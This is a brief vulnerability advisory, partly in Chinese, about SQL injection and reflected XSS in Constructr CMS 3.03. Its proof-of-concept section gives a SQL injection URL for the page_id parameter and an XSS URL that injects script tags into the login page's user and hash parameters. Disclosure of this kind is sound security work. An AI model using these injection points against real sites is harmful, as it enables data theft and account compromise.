Constructr是一款内容管理系统，Constructr中存在SQL注入和XSS漏洞，可能导致敏感信息泄露。

[+]info:
~~~~~~~~~
Constructr CMS 3.03 Miltiple Remote Vulnerabilities (XSS/SQLi) 
Vendor: phaziz interface design 
Product web page: http://www.constructr-cms.org 
Affected version: 3.03.0 

[+]poc:
~~~~~~~~~
[SQL] http://constructr/xmlOutput/constructrXmlOutput.content.xml.php?

page_id='[INJECT POINT];--";--
[XSS] http://constructr/backend/login.php?installed=101&no_user_rights=101&login_first_echo=101&already_logged_in=

101&login_user_deactivated=101&login_failed=101&login_success=101&nosaltnpepper=

101&user=101<script>alert(2)</script>&hash=101<script>alert(2)</script>

修复：过滤

关健词：XSS/SQL